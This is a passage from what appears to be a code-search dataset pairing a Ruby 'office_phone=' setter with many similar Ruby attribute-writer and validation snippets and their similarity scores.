"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def office_phone=(office_phone)
if !office_phone.nil? && office_phone.to_s.length > 15
fail ArgumentError, "invalid value for 'office_phone', the character length must be smaller than or equal to 15."
end
@office_phone = office_phone
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attribute(name); end",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def validated_attribute_names(params); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
